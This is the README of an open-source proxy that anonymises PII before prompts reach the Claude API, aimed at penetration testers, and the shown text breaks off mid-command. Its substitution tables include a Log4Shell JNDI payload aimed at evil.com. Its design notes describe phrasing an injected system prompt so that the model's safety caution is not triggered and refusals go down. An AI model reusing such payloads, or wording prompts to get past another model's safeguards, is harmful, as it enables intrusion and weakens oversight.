openbashok/promptzero

GitHub: openbashok/promptzero

PromptZero是一个透明Claude API代理,通过匿名化PII和敏感数据防止隐私泄露。

Stars: 8 | Forks: 1

``` ██████╗ ██████╗ ██████╗ ███╗ ███╗██████╗ ████████╗ ███████╗███████╗██████╗ ██████╗ ██╔══██╗██╔══██╗██╔═══██╗████╗ ████║██╔══██╗╚══██╔══╝ ╚══███╔╝██╔════╝██╔══██╗██╔═══██╗ ██████╔╝██████╔╝██║ ██║██╔████╔██║██████╔╝ ██║ ███╔╝ █████╗ ██████╔╝██║ ██║ ██╔═══╝ ██╔══██╗██║ ██║██║╚██╔╝██║██╔═══╝ ██║ ███╔╝ ██╔══╝ ██╔══██╗██║ ██║ ██║ ██║ ██║╚██████╔╝██║ ╚═╝ ██║██║ ██║ ███████╗███████╗██║ ██║╚██████╔╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ```
**面向 LLM 提示词的零信任架构。** *零痕迹。完整答案。* [![版本](https://img.shields.io/badge/version-2.5.0-blue.svg)](https://github.com/openbashok/promptzero) [![Python](https://img.shields.io/badge/python-3.10%2B-blue.svg)](https://python.org) [![许可证](https://img.shields.io/badge/license-MIT-green.svg)](LICENSE) [![OpenBash](https://img.shields.io/badge/by-OpenBash.com-red.svg)](https://openbash.com) [![源自渗透测试者](https://img.shields.io/badge/from%20pentesters-to%20pentesters-orange.svg)](https://openbash.com)
## 问题所在 你使用 AI 来分析日志、撰写渗透测试报告、审查代码、总结合同。 你发送的每一个提示词都包含真实的 IP 地址、主机名、姓名、凭据、客户端标识符、有效载荷——这些数据的每一个字节都会跨越一个你无法控制的边界: ``` You type: Claude receives: ───────────────────────────── ───────────────────────────── "Analyze traffic from "Analyze traffic from 192.168.1.45 targeting 192.168.1.45 targeting db.prod.company.com db.prod.company.com ← your real infra Credentials: admin:P@ss1" Credentials: admin:P@ss1" ← your real creds ``` 供应商合同和"私有 AI"SaaS 服务并不能解决这个问题——它们只是将信任转移到另一个第三方。PromptZero 在本地处理这个边界,并让你使用已有的工具(Burp、mitmproxy)进行端到端的验证。 ## 工作原理 ``` ╔══════════════════════════════════════════════════════════════════════╗ ║ YOUR ENVIRONMENT (trusted) ║ ║ ║ ║ ┌─────────────┐ ┌──────────────────────────────┐ ║ ║ │ Your App │────▶│ PromptZero │ ║ ║ │ Claude CLI │ │ localhost:8000 │ ║ ║ │ SDK / curl │◀────│ │ ║ ║ └─────────────┘ │ ① Detect sensitive spans │ ║ ║ │ ② Replace synthetic values │ ║ ║ │ ③ Forward clean prompt │ ║ ║ │ ④ Receive model response │ ║ ║ │ ⑤ Restore real values │ ║ ║ └──────────────┬───────────────┘ ║ ║ │ ║ ║ ✗ Sensitive data NEVER │ Only synthetic data ║ ║ crosses this line │ crosses this boundary ║ ╚══════════════════════════════════════│══════════════════════════════╝ │ ← TRUST BOUNDARY ┌────────▼────────┐ │ api.anthropic │ (untrusted — │ .com │ verifiable │ │ with Burp / └─────────────────┘ mitmproxy) ``` ### 改造前后 ``` YOUR PROMPT (real data) WHAT CLAUDE SEES (synthetic) ══════════════════════════ ════════════════════════════════ 192.168.1.45 ────▶ 198.51.100.1 (RFC 5737) 2001:db8:1234::5 ────▶ 2001:db8::1 (RFC 3849) db.prod.company.com ────▶ alpha.example.com (RFC 2606) admin@company.com ────▶ user001@example.com (RFC 2606) John Smith ────▶ Soren Brännström (NLP) Acme Financial S.A. ────▶ Nordhaven Holdings (NLP) +54 11 4444-5555 ────▶ +1-555-000-0001 DNI 28.456.123 ────▶ FAKE-ID-000001 password='S3cur3P@ss!' ────▶ password='sk-faux-0001-xxxxxxxxxxxxxxxx' sk-ant-api03-xxxxx... ────▶ FAKE_TOKEN_0001_xxxxxxxx ${jndi:ldap://evil.com/x} ────▶ ${jndi:ldap://bravo.example.com/x} CLAUDE'S RESPONSE (synthetic) YOU RECEIVE (real data restored) ════════════════════════════ ═════════════════════════════════ "198.51.100.1 shows signs ────▶ "192.168.1.45 shows signs of lateral movement to of lateral movement to alpha.example.com" db.prod.company.com" ``` ## 保护内容 | 数据类型 | 真实 → 合成 | 检测方式 | |---|---|---| | IPv4 地址 | `45.77.12.91` → `198.51.100.1` (RFC 5737) | 正则表达式 | | IPv6 地址 | `2001:abcd::1` → `2001:db8::1` (RFC 3849) | 正则表达式 | | 主机名 / FQDN | `vpn.corp.com` → `alpha.example.com` (RFC 2606) | 正则表达式 + NLP (URL) | | URL | `https://api.corp.com/v2` → `https://bravo.example.com/v2` | 正则表达式 + NLP | | host:port | `db.internal:5432` → `charlie.example.com:5432` | 正则表达式 | | 电子邮件 | `john@corp.com` → `user001@example.com` (RFC 2606) | 正则表达式 + NLP | | 凭据值 | `password='S3cur3P@ss!'`, `Authorization: Bearer …`, `"secret":"…"` → `sk-faux-0001-xxxxxxxxxxxxxxxx` | **正则表达式(密钥感知)** | | 电话号码 (美国/加拿大) | `+1-555-123-4567` → `+1-555-000-0001` | 正则表达式 + NLP | | 电话号码 (拉丁美洲 + 西班牙) | `+54 11 4444-5555`, `+56 9 1234 5678`, `+34 612 345 678`, `+52 55 1234 5678`, `+57 300 123 4567`, `+598 99 123 456` → `+1-555-000-0001` | **正则表达式 (拉美/西班牙)** | | 人名 | `John Smith`, `María Fernández` | **NLP (spaCy en+es)** | | 组织机构 | `Acme Corp S.A.`, `Nexabank Financial S.A.` | **NLP (spaCy en+es)** | | 阿根廷 DNI | `DNI 28.456.123` → `DNI 11.111.001` | **正则表达式 (AR)** | | 阿根廷 CUIT/CUIL | `20-12345678-9` → `20-11111001-1` | **正则表达式 (AR)** | | 智利 RUT | `12.345.678-K` → `11.111.001-1` | **正则表达式 (CL)** | | 西班牙 DNI/NIE | `12345678A`, `X1234567A` → `X0000001A` | **正则表达式 (ES) + NLP** | | 乌拉圭 CI | `1.234.567-8` → `1.111.001-1` | **正则表达式 (UY)** | | 哥伦比亚 CC | `CC 1.234.567` → `CC 1.111.001` | **正则表达式 (CO)** | | 墨西哥 CURP | `AAAA000000HAAAAA00` → `FAKE000001HDFXXX11` | **正则表达式 (MX)** | | 墨西哥 RFC | `AAAA000000AAA` → `FAKE000001XX1` | **正则表达式 (MX)** | | 护照 | `AAB123456` → `XX0000001` | **NLP (Presidio)** | | SSN (美国) | `123-45-6789` → `000-00-0001` | 正则表达式 + NLP | | 信用卡 | `4111 1111 1111 1234` → `4111-1111-1111-0001` | 正则表达式 + NLP | | IBAN | `GB29NWBK60161331926819`, `AR1500011110000…` → `FAKEIBAN000…` | NLP | | API 密钥 / Token | `sk-ant-api03-xxxxxx...` → `FAKE_TOKEN_0001_xxxxxxxx` | 正则表达式 | ## 架构 ``` promptzero/ ├── main.py ← FastAPI proxy server (drop-in for api.anthropic.com) ├── sanitizer.py ← Detection engine: NLP (Presidio+spaCy) + Regex layers ├── setup.sh ← One-command setup ├── requirements.txt ├── .env.example └── examples/ ├── poc/ ← Proof-of-concept: 5 fictitious datasets + demo scripts (local + Claude E2E) ├── document_summary/ ← Summarize PDF/DOCX/TXT with PII protection └── pentest_report/ ← Generate full pentest reports from findings JSON ``` ### 检测层 ``` Text input │ ├─▶ [ NLP Layer — Presidio + spaCy (en + es) ] │ PERSON, ORGANIZATION, PHONE, EMAIL, │ CREDIT_CARD, IBAN, SSN, PASSPORT, │ NATIONAL_ID (ES_NIF, NRP), URL, IP_ADDRESS │ ├─▶ [ Regex Layer — country-specific national IDs ] │ AR: DNI, CUIT/CUIL CL: RUT │ ES: DNI/NIE UY: CI │ CO: Cédula (CC) MX: CURP, RFC │ Phones: +34 +52 +54 +55 +56 +57 +598 │ ├─▶ [ Regex Layer — network & infra ] │ IPv4, IPv6, hostnames, host:port, │ long tokens/API keys, URLs │ └─▶ [ Merge & deduplicate by span ] └─▶ Replace real → synthetic └─▶ Store in session mapping table ``` ### 会话映射 每次对话都会获得一个**会话范围的双向映射表**。 同一个真实值在会话始终映射到同一个合成值——因此你的对话端到端保持连贯。 ``` Session: "pentest-acmecorp-2026" ────────────────────────────────────────────────── Real value Synthetic value ────────────────────────────────────────────────── 192.168.1.45 ←──────▶ 198.51.100.1 db.prod.acme.com ←──────▶ alpha.example.com John Smith ←──────▶ Soren Brännström admin@acme.com ←──────▶ user001@example.com S3cur3P@ss! ←──────▶ sk-faux-0001-xxxxxxxxxxxxxxxx ────────────────────────────────────────────────── Stored locally. Never sent anywhere. ``` ## 快速开始 运行代理有两种方式。两种方式行为完全相同——选择适合你环境的即可。 ### 方案 A — Docker(推荐) 无需 Python,无需 virtualenv,无需处理模型下载。模型已烘焙进发布的镜像中(linux/amd64 + linux/arm64)。拉取并运行: ``` docker run -p 8000:8000 \ -e ANTHROPIC_API_KEY=sk-ant-... \ ghcr.io/openbashok/promptzero:latest # 在 http://localhost:8000 上监听 ``` 常用变体: ``` # 传递完整的 .env 文件(包含 ANTHROPIC_API_KEY + UPSTREAM_PROXY + …) docker run -p 8000:8000 --env-file .env ghcr.io/openbashok/promptzero # 通过主机上运行的 Burp 路由上游流量(macOS / Windows) docker run -p 8000:8000 --env-file .env \ -e UPSTREAM_PROXY=http://host.docker.internal:8080 \ -e UPSTREAM_VERIFY=false \ ghcr.io/openbashok/promptzero ``` 如需自行构建: ``` git clone https://github.com/openbashok/promptzero && cd promptzero docker build -t promptzero . # 'lg' models, ~1.5 GB docker build --build-arg SPACY_SIZE=sm -t promptzero:slim . # ~300 MB ``` ### 方案 B — 原生安装 如果你想修改代理本身,或者倾向于将虚拟环境留在主机上,此方案很有用。 ``` git clone https://github.com/openbashok/promptzero cd promptzero ./setup.sh # venv + deps + spaCy models en + es (~1 GB) cp .env.example .env # add your ANTHROPIC_API_KEY python main.py # listening on http://localhost:8000 ``` `./setup.sh` 默认下载 `lg` spaCy 模型。使用 `./setup.sh medium`(约 40 MB)或 `./setup.sh small`(约 12 MB)进行更轻量级的安装,或者如果你只处理英文,可以使用 `./setup.sh en-only`。 ## 用法 PromptZero 是 `https://api.anthropic.com` 的**即插即用替代品**。 只需更改一行。其他一切保持不变。 ### Python SDK ``` import anthropic client = anthropic.Anthropic( api_key="your-api-key", base_url="http://localhost:8000", # ← only change ) message = client.messages.create( model="claude-opus-4-6", max_tokens=1024, messages=[{ "role": "user", "content": "Analyze traffic from 10.0.1.42 to db.prod.corp:5432. User: john@corp.com" }], extra_headers={"x-session-id": "my-session"}, # keeps mapping consistent ) print(message.content[0].text) # → 响应中已恢复真实 IP 和邮箱 ``` ### curl ``` curl http://localhost:8000/v1/messages \ -H "x-api-key: $ANTHROPIC_API_KEY" \ -H "x-session-id: my-session" \ -H "anthropic-version: 2023-06-01" \ -H "content-type: application/json" \ -d '{ "model": "claude-opus-4-6", "max_tokens": 1024, "messages": [{ "role": "user", "content": "The payload hit 203.0.113.5:8443 — what does this CVE-2024-21762 exploit look like?" }] }' ``` ### 管理端点 ``` # 健康检查(同时显示活动的上游/提示配置) GET /health # 自启动以来的累计计数器(请求、字节、按类型划分的敏感跨度) GET /stats # 检查 PromptZero 在会话中映射了什么(调试) GET /sessions/{session_id}/mappings # 检查为会话中每次调用记录的*净化请求*和*反净化响应* # ——证明没有真实 PII 到达上游。 # 需要在启动时设置 DEBUG_AUDIT=1。 GET /sessions/{session_id}/audit # 重置会话的映射表(以及审计日志,如有) DELETE /sessions/{session_id} ``` 代理终端会为每个请求打印**一行彩色跟踪日志**,精确显示哪些内容被清理了——当同时运行 Claude Code(或任何客户端)时非常有用,可以实时验证每轮对话中哪些敏感数据被屏蔽: ``` [trace] POST /v1/messages session=poc-pent +4 spans (total 4: 1 phone, 1 email, 1 ipv4, 1 url) in= 197B out= 494B 200 2012ms [trace] POST /v1/messages session=poc-pent +3 spans (total 7: 2 ipv4, 1 person, 1 hostname) in= 185B out= 697B 200 1273ms [trace] GET /v1/models (passthrough, no sanitization) 200 367ms ``` 获取累计指标,访问 `/stats`: ``` watch -n 1 'curl -s localhost:8000/stats | jq' ``` 示例载荷: ``` { "uptime_seconds": 142.3, "active_sessions": 2, "requests": { "total": 7, "messages": 5, "count_tokens": 1, "passthrough": 1, "errors": 0 }, "bytes": { "sanitized_in": 12480, "desanitized_out": 28350 }, "pii_spans": { "total_unique": 47, "by_kind": { "person": 8, "org": 5, "ipv4": 14, "hostname": 9, "email": 6, "national_id_ar_dni": 3, "phone": 2 } } } ``` ### 通过 PromptZero 路由 Claude Code CLI 该代理是 `api.anthropic.com` 的即插即用替代品,因此 Claude Code CLI 只需通过一个环境变量即可使用它: ``` # 启动 PromptZero(终端 1) python main.py # 通过代理运行 Claude Code(终端 2) export ANTHROPIC_BASE_URL=http://localhost:8000 claude # 现在在 CLI 中输入的每个提示在到达 Claude 前都会被净化, # Claude 的响应在到达您的终端前会被反净化。 ``` 代理为 CLI 处理的内容: | 路由 | 行为 | |---|---| | `POST /v1/messages` | 清理后 → 转发。响应进行反清理。支持流式传输。 | | `POST /v1/messages/count_tokens`| 进行清理,以便 Token 计数反映清理后的提示词。 | | `/v1/*` 下的任何其他内容 | 原样转发(`models`, `organizations`, `files`, `batches` 等) | 验证 Claude Code 是否通过代理: ``` # 在第三个终端——随着使用 CLI 观察活动会话的增长 watch -n 1 'curl -s http://localhost:8000/health' # 检查最后一个会话中映射了什么 curl -s http://localhost:8000/sessions//mappings | jq ``` ### 使用 Burp Suite(或 mitmproxy)检查上游流量 不要只听我们说——将 PromptZero 的上游连接(PromptZero → `api.anthropic.com`)通过 Burp 路由,并自行检查每个字节。在 `.env` 文件中设置两个环境变量: ``` # 通过 Burp 发送 PromptZero → api.anthropic.com 流量 UPSTREAM_PROXY=http://127.0.0.1:8080 # Burp 使用其自己的 CA 进行 TLS 拦截——可以选择显式信任它 # (推荐): UPSTREAM_CA_BUNDLE=/Users/you/burp-ca.pem # …或跳过验证以进行快速演示(不安全): UPSTREAM_VERIFY=false ``` 步骤: 1. **将 Burp 的 CA 证书导出为 PEM** `Burp → Proxy → Settings → Import / export CA certificate → "Certificate in PEM format"` 保存为 `~/burp-ca.pem`。 2. **启用 Burp 的代理监听器**,地址 `127.0.0.1:8080`(默认)。 3. **在 `.env` 中设置环境变量**(如上代码片段),并重启 `python main.py`。 4. **通过 /health 确认**代理已加载配置: curl -s http://localhost:8000/health | jq # → "upstream_proxy": "http://127.0.0.1:8080" # "upstream_verify": "/Users/you/burp-ca.pem" 5. **照常运行你的客户端**(`claude`, `python demo_claude.py`, `curl` 等)。 6. **在 Burp 中检查** — 打开 HTTP 历史记录。对 `api.anthropic.com/v1/messages` 的每个请求都显示**清理后**的正文。在历史记录中过滤你数据集中的任何真实值(`nexabank`、`DNI`、你的真实 IP)——结果为空。这就是证明。 ``` ┌─────────┐ HTTP ┌────────────┐ HTTPS ┌──────────┐ HTTPS ┌─────────────────┐ │ Claude │────────▶│ PromptZero │─────────▶│ Burp │────────▶│ api.anthropic │ │ CLI │ clear │ :8000 │ TLS │ :8080 │ TLS │ .com │ └─────────┘ │ sanitize │ │ MITM │ └─────────────────┘ │ desanitize │ │ inspect │ └────────────┘ └──────────┘ ``` `mitmproxy` 工作方式相同——设置 `UPSTREAM_PROXY=http://127.0.0.1:8081` 和 `UPSTREAM_CA_BUNDLE=~/.mitmproxy/mitmproxy-ca-cert.pem`。 ## 保持 Claude 参与(系统提示) 由于每个被编辑的主机名都变为 `*.example.com`,Claude 可能会将这些替换识别为 IANA 文档参考(RFC 2606)并拒绝,提示 *"example.com 是保留用于文档的——您是指什么?"*。为避免此情况,PromptZero 会在每个 `/v1/messages` 请求前添加一个简短的**系统块**,以中立、技术性的术语描述编辑约定: 措辞是刻意的:没有 *"authorized engagement"*,没有 *"you must comply"*,没有 *"placeholder"*——这些短语会触发安全警觉或被作为意识信号回显。纯粹的机制描述则不会。 通过环境变量切换(默认**开启**): ``` INJECT_SYSTEM_HINT=1 # default — prepend the redaction hint INJECT_SYSTEM_HINT=0 # off — useful for benchmarking or when a # client already sets its own system ``` `GET /health` 报告当前值: ``` { "status": "ok", "inject_system_hint": true, … } ``` 有关我们为何选择此方案的详细理由,请参阅[设计说明](#design-notes-why-example-com--system-hint)。 ## 渗透测试模式(禁用 NER PERSON / ORG) 在针对真实目标运行验证器后,我们测量了清理误报的实际来源。结果分布是不对称的: | 检测器类别 | 本代码库中发现的错误 | 原因 | |---|---|---| | 正则表达式 (IPv4, IPv6, 主机名, 电子邮件, Token, 凭据, 国家 ID) | 约 5 个,均已通过模式调整修复 | 模式严格;要么匹配形状,要么不匹配 | | NER **PERSON / ORGANIZATION** | 15+ 个反复出现 (`Banner`, `ACLs`, `However`, `Investigate whether`, `Direct IP-based scanning…`, `Network`, `Attempt`, …) | spaCy 在新闻/网页文本上训练;渗透测试词汇(gobuster, ffuf, ACLs, Reconnaissance 等)不在语料库中,因此每个项目符号开头的大写英文单词都可能被误识别 | 对于渗透测试工作流,输入主要是工具输出(`nmap`、`gobuster`、`sqlmap`、Burp HTTP 历史记录)和代码——在这种内容中,PERSON / ORG 检测几乎无法提供真实的隐私保护价值,却贡献了 100% 的误报噪声。代理提供了一个开关来完全丢弃这两个实体类别: ``` DETECT_PERSON_ORG=1 # default — full NER pipeline DETECT_PERSON_ORG=0 # pentest mode — drop PERSON / ORG, keep everything else ``` 关闭后仍保持完整的检测:IPv4、IPv6、主机名、URL、host:port、电子邮件、特定国家的身份证号码 (AR/CL/ES/UY/CO/MX)、信用卡、IBAN、SSN、电话号码、API Token、密钥感知的凭据。消失的是:自由格式叙述中独立人名/组织名的检测。 `GET /health` 报告当前值: ``` { "status": "ok", "detect_person_org": false, … } ``` 何时使用哪种模式: - **`DETECT_PERSON_ORG=1`**(默认)— 事件报告、文档摘要、客户支持聊天记录,以及任何由人类撰写的、需要编辑审计员/联系人/客户姓名的内容。 - **`DETECT_PERSON_ORG=0`** — 将 Claude Code 驱动通过代理进行主动的渗透测试参与、日志分类、对 shell 输出的代码审查、生成结构化技术文本的自动化工具。 ## 集成测试套件 `examples/poc/integration_test.py` 通过代理驱动真实的 Claude 调用,并在每个场景中断言四个不变量——作为清理器更改后的回归测试运行器,以及在进入真实参与前的健全性检查非常有用: | 检查项 | 断言内容 | |---|---| | **L** 泄漏 | 没有期望的真实值出现在 Anthropic 收到的上游载荷中 | | **N** NER 召回率 | 所有期望的真实值都存在于会话映射表中 | | **R** 往返一致性 | 在反清理的响应中没有残留假值(所有替换都被撤销) | | **A** 意识度 | 模型没有指出数据是测试/占位符/虚构的 | 开箱即用的六个场景(单轮渗透测试报告、日志分类、转换抵抗、JSON 载荷、代码审查,外加一个用于跨轮次重新清理的 3 轮对话历史场景): ``` # 使用 DEBUG_AUDIT=1 启动代理,以便运行程序可以读取 /audit DEBUG_AUDIT=1 python main.py # 在第二个终端中 python examples/poc/integration_test.py \ --proxy http://127.0.0.1:8000 \ --model claude-haiku-4-5 ``` 输出是每个场景的通过/失败,以及任何失败检查项的待办清单——该套件在初始构建期间捕获了四个真实的错误(Presidio URL 截断、短密码泄露、IPv6 假池冲突、Python 标识符上的主机名误报),然后才发布任何修复。 ## 示例 ### 概念验证 *亲眼看到* PromptZero 运作的最快方式——五个虚构数据集(个人数据、包含 HTTP 请求/响应 + 有效载荷的完整渗透测试参与、注入目录、事件响应、支持聊天)和三个演示脚本(本地清理器、可视化 HTML 报告、端到端对抗 Claude)。 ``` cd examples/poc # 独立运行——不调用 API,打印原始/净化/反净化内容 # + 完整的真实↔伪映射表。 python demo_local.py python demo_local.py data/01_personal_records.json # 可视化 HTML 报告——并排显示原始与净化内容,每个 # 敏感跨度进行颜色编码,悬停链接映射,汇总表。 python demo_html.py --open python demo_html.py --with-claude --task triage \ --dataset data/04_incident_response.json --out ir.html --open # 针对真实 Claude API 的端到端测试(代理必须正在运行) python demo_claude.py python demo_claude.py --dataset data/04_incident_response.json --task triage ``` 完整数据集目录和脚本选项请参阅 [`examples/poc/README.md`](examples/poc/README.md)。 ### 文档摘要 使用完全 PII 保护总结任何文档(PDF、DOCX、TXT、日志)。 ``` cd examples/document_summary pip install -r requirements.txt python summarize.py contract.pdf python summarize.py incident_report.docx --mode executive --lang es python summarize.py access.log --mode technical ``` ### 渗透测试报告生成器 从结构化的发现 JSON 生成专业的渗透测试报告。IP 地址、主机名、客户端名称、凭据和有效载荷都受到保护。 ``` cd examples/pentest_report pip install -r requirements.txt # 完整技术报告 python report.py findings.json # 西班牙语执行摘要 python report.py findings.json --mode executive --lang es --out ejecutivo.md # 修复清单 python report.py findings.json --mode remediation --out fixes.md # 保护代理可能遗漏的短密码 python report.py findings.json --protect "P@ssw0rd1" "Summer2023!" ``` 包含 6 个真实发现(严重 → 低危)的完整示例请参阅 [`examples/pentest_report/sample_findings.json`](examples/pentest_report/sample_findings.json)。 ## 设计说明 — 为什么是 `example.com` + 系统提示? 这是替换选择背后的理由,以防你想分叉或调整代理以适应不同的 LLM 系列或风险态势。我们迭代了三种不同的假域名策略,每种都有不同的失败模式。 **1. 环回风格的假值(早期版本:`127.0.0.x` / `*.localhost` / `userNNN@fakecorp.local`)。** 往返有效,但静默改变了 Claude 的推理:外部暴露的发现被归类为"内部实验室/环回服务,关键性较低"。对于渗透测试报告,这意味着模型**降低了严重性**而不告知你。已弃用。 **2. 看似真实的域名(例如 `acme-corp.io`, `nexabank.com`)。** 两种失败模式: - 模型从其训练语料库中识别出品牌,并应用现实世界的知识("Nexabank 使用 Spring Boot,所以..."),用关于真实公司的虚构事实污染了分析。 - 像 *Acme Corp*, *Globex*, *Initech*, *Umbrella Tech* 这样的名字恰恰是 Claude 在**自己写作**时发明虚构示例的首选占位符。模型会自发输出它们;反清理器随后将它们映射回会话表中恰好存在的任何内容(通常是 NLP 误报,如 `Credential → Bob Calloway`),并损坏用户可见的输出。 **3. IANA 保留的文档范围(当前方案)。** RFC 5737 (`198.51.100.0/24`, `203.0.113.0/24`), RFC 3849 (`2001:db8::/32`), RFC 2606 (`example.com`)。Claude 在其训练语料库中**将它们作为占位符**,因此不会提取关于它们的真实世界信息,也不会应用环回或仅限内部的语义。名称池(`Soren Brännström`, `Nordhaven Holdings`, ...)是刻意不常见的欧洲风格发明,Claude 在撰写叙述性示例时**不会**自发输出它们。 权衡:使用 `*.example.com` 时,模型偶尔会识别出替换并询问 *"example.com 是保留用于文档的——您是指什么?"*。这就是**[系统提示](#keeping-claude-engaged-system-hint)**发挥作用的地方:一个简短、中立的文本块,预先添加到每个请求,解释编辑机制并指示模型按照经批准的安全演练的深度进行操作。它消解了识别,而不像越狱——我们尝试过使用 *"authorized engagement"*、*"you must comply"* 和 *"real pentest"* 的措辞,它们都因为直接触及安全模式而增加了拒绝率。命名机制则不会。 如果你的用例**不是**渗透测试——例如,在生成培训内容时实验室框架实际上有帮助——请使用 `INJECT_SYSTEM_HINT=0` 禁用提示。替换本身保持不变。 ## 关于 OpenBash **PromptZero** 是 [OpenBash.com](https://openbash.com) 的项目——一个**由渗透测试者建立,为渗透测试者服务**的社区。 我们构建开源安全工具,帮助社区更智能地工作、保持保护,并将敏感数据保存在其应在的地方:本地。 如果此工具对你有帮助,请分享它。如果你发现了一个 bug,请提交 issue。如果你改进了它,请发送 PR。 ## 贡献 ``` # Fork → 克隆 → 创建分支 git checkout -b feature/my-improvement # 进行更改,手动测试 python main.py & # 测试您对 localhost:8000 所做的更改 # 向 main 提交 PR ``` 贡献想法: - 增加语言支持(ES、PT、FR、DE 的 spaCy 模型) - 持久化会话存储(SQLite / Redis) - 更多示例(`log_analyzer`, `code_reviewer`, `nessus_parser`) - CLI 包装器(`promptzero "your prompt here"`) - Docker 镜像 ## 许可证 MIT — 免费使用、修改、分发。 感谢署名但非必须。 # 西班牙语版本 ## 什么是 PromptZero? **PromptZero aplica los principios de Zero Trust a la interacción con LLMs.** Es un proxy local y transparente que detecta y reemplaza datos sensibles — identidades, infraestructura, secretos, material de cliente — en tus prompts **antes** de que crucen el perímetro de tu entorno, y restaura los valores reales en la respuesta. *Zero trace. Full answer.* ## 问题所在 Usás IA para analizar logs, escribir reportes de pentesting, revisar código, resumir contratos. Cada prompt que enviás contiene IPs reales, hostnames, nombres, credenciales, identificadores de cliente, payloads — y cada byte cruza un borde que vos no controlás. Los contratos del vendor y los SaaS de "Private AI" no resuelven esto — solo desplazan la confianza hacia otro tercero. PromptZero maneja el borde localmente y te deja verificarlo end-to-end con las mismas herramientas que ya usás para auditar cualquier otra API (Burp, mitmproxy). ## 工作原理 ``` TU ENTORNO (trusted) ┌─────────────────────────────────────────────────────────────┐ │ │ │ Cliente Claude ──▶ PromptZero (localhost:8000) │ │ (CLI / SDK / │ │ │ curl) ① Detectar spans sensibles │ │ ▲ ② Reemplazar con valores sintéticos │ │ │ ③ Reenviar prompt limpio │ │ └───────────────④ Recibir respuesta del modelo │ │ ⑤ Restaurar valores reales │ │ │ │ ✗ Los datos sensibles NUNCA cruzan este límite │ └───────────────────────────────────┬─────────────────────────┘ │ ← TRUST BOUNDARY │ Solo datos sintéticos ┌──────▼──────┐ │ api.anthropic │ (untrusted — │ .com │ verificable │ │ con Burp / └───────────────┘ mitmproxy) ``` ## 保护的数据 | Categoría | Real → Sintético | Detección | |---|---|---| | IPv4 | `45.77.12.91` → `198.51.100.1` (RFC 5737) | Regex | | IPv6 | `2001:abcd::1` → `2001:db8::1` (RFC 3849) | Regex | | Hostname / FQDN | `vpn.empresa.com` → `alpha.example.com` (RFC 2606) | Regex + NLP (URL) | | URL | `https://api.empresa.com/v2` → `https://bravo.example.com/v2` | Regex + NLP | | host:port | `db.internal:5432` → `charlie.example.com:5432` | Regex | | Email | `juan@empresa.com` → `user001@example.com` (RFC 2606) | Regex + NLP | | Credencial | `password='S3cur3P@ss!'`, `Authorization: Bearer …`, `"secret":"…"` → `sk-faux-0001-xxxxxxxxxxxxxxxx` | **Regex (key-aware)** | | Teléfono (US/CA) | `+1-555-123-4567` → `+1-555-000-0001` | Regex + NLP | | Teléfono (LatAm + ES) | `+54 11 4444-5555`, `+56 9 1234 5678`, `+34 612 345 678`, `+52 55 1234 5678`, `+57 300 123 4567`, `+598 99 123 456` → `+1-555-000-0001` | **Regex (LatAm/ES)** | | Nombre de persona | `Juan García`, `María Fernández` | **NLP (spaCy en+es)** | | Empresa / Organización | `Empresa XYZ S.A.`, `Nexabank Financial S.A.` | **NLP (spaCy en+es)** | | DNI Argentina | `DNI 28.456.123` → `DNI 11.111.001` | **Regex (AR)** | | CUIT/CUIL Argentina | `20-12345678-9` → `20-11111001-1` | **Regex (AR)** | | RUT Chile | `12.345.678-K` → `11.111.001-1` | **Regex (CL)** | | DNI/NIE España | `12345678A`, `X1234567A` → `X0000001A` | **Regex (ES) + NLP** | | CI Uruguay | `1.234.567-8` → `1.111.001-1` | **Regex (UY)** | | Cédula Colombia | `CC 1.234.567` → `CC 1.111.001` | **Regex (CO)** | | CURP México | `AAAA000000HAAAAA00` → `FAKE000001HDFXXX11` | **Regex (MX)** | | RFC México | `AAAA000000AAA` → `FAKE000001XX1` | **Regex (MX)** | | Pasaporte | `AAB123456` → `XX0000001` | **NLP (Presidio)** | | SSN (US) | `123-45-6789` → `000-00-0001` | Regex + NLP | | Tarjeta de crédito | `4111 1111 1111 1234` → `4111-1111-1111-0001` | Regex + NLP | | IBAN | `GB29NWBK60161331926819`, `AR1500011110000…` → `FAKEIBAN000…` | NLP | | Token / API key (≥32 chars) | `sk-ant-api03-xxxxxx...` → `FAKE_TOKEN_0001_xxxxxxxx` | Regex | | Payload con host | `${jndi:ldap://evil.com}` → `${jndi:ldap://bravo.example.com}` | Regex | ## 架构 ``` promptzero/ ├── main.py ← Proxy FastAPI (drop-in para api.anthropic.com) ├── sanitizer.py ← Motor de detección: NLP (Presidio+spaCy) + Regex ├── setup.sh ← Setup en un comando ├── requirements.txt ├── .env.example └── examples/ ├── poc/ ← PoC: 5 datasets ficticios + demos local/HTML/E2E ├── document_summary/ ← Summary de PDF/DOCX/TXT con protección PII └── pentest_report/ ← Reportes técnicos/ejecutivos desde findings JSON ``` ### 检测层 ``` Texto de entrada │ ├─▶ [ Capa NLP — Presidio + spaCy (en + es) ] │ PERSON, ORGANIZATION, PHONE, EMAIL, │ CREDIT_CARD, IBAN, SSN, PASSPORT, │ NATIONAL_ID (ES_NIF, NRP), URL, IP_ADDRESS │ ├─▶ [ Capa Regex — IDs nacionales por país ] │ AR: DNI, CUIT/CUIL CL: RUT │ ES: DNI/NIE UY: CI │ CO: Cédula (CC) MX: CURP, RFC │ Teléfonos: +34 +52 +54 +55 +56 +57 +598 │ ├─▶ [ Capa Regex — red e infraestructura ] │ IPv4, IPv6, hostnames, host:port, │ tokens/API keys largos, URLs │ └─▶ [ Merge + deduplicación por span ] └─▶ Reemplazar real → sintético └─▶ Guardar en tabla de mapping por sesión ``` ### 会话映射表 Cada conversación tiene una **tabla bidireccional real↔ficticio scoped a la sesión**. El mismo valor real siempre mapea al mismo valor sintético dentro de la sesión — así tus conversaciones quedan coherentes de punta a punta. ``` Sesión: "pentest-acmecorp-2026" ────────────────────────────────────────────────── Valor real Valor sintético ────────────────────────────────────────────────── 192.168.1.45 ←──────▶ 198.51.100.1 db.prod.acme.com ←──────▶ alpha.example.com Juan García ←──────▶ Soren Brännström admin@acme.com ←──────▶ user001@example.com S3cur3P@ss! ←──────▶ sk-faux-0001-xxxxxxxxxxxxxxxx ────────────────────────────────────────────────── Guardada en local. Nunca se envía a ningún lado. ``` ## 快速开始 Hay dos formas de correr el proxy. El comportamiento es idéntico — usás la que mejor te encaje. ### 选项 A — Docker(推荐) Sin Python, sin virtualenv, sin descarga de modelos. La imagen publicada ya trae los modelos adentro (linux/amd64 + linux/arm64). Pull y run: ``` docker run -p 8000:8000 \ -e 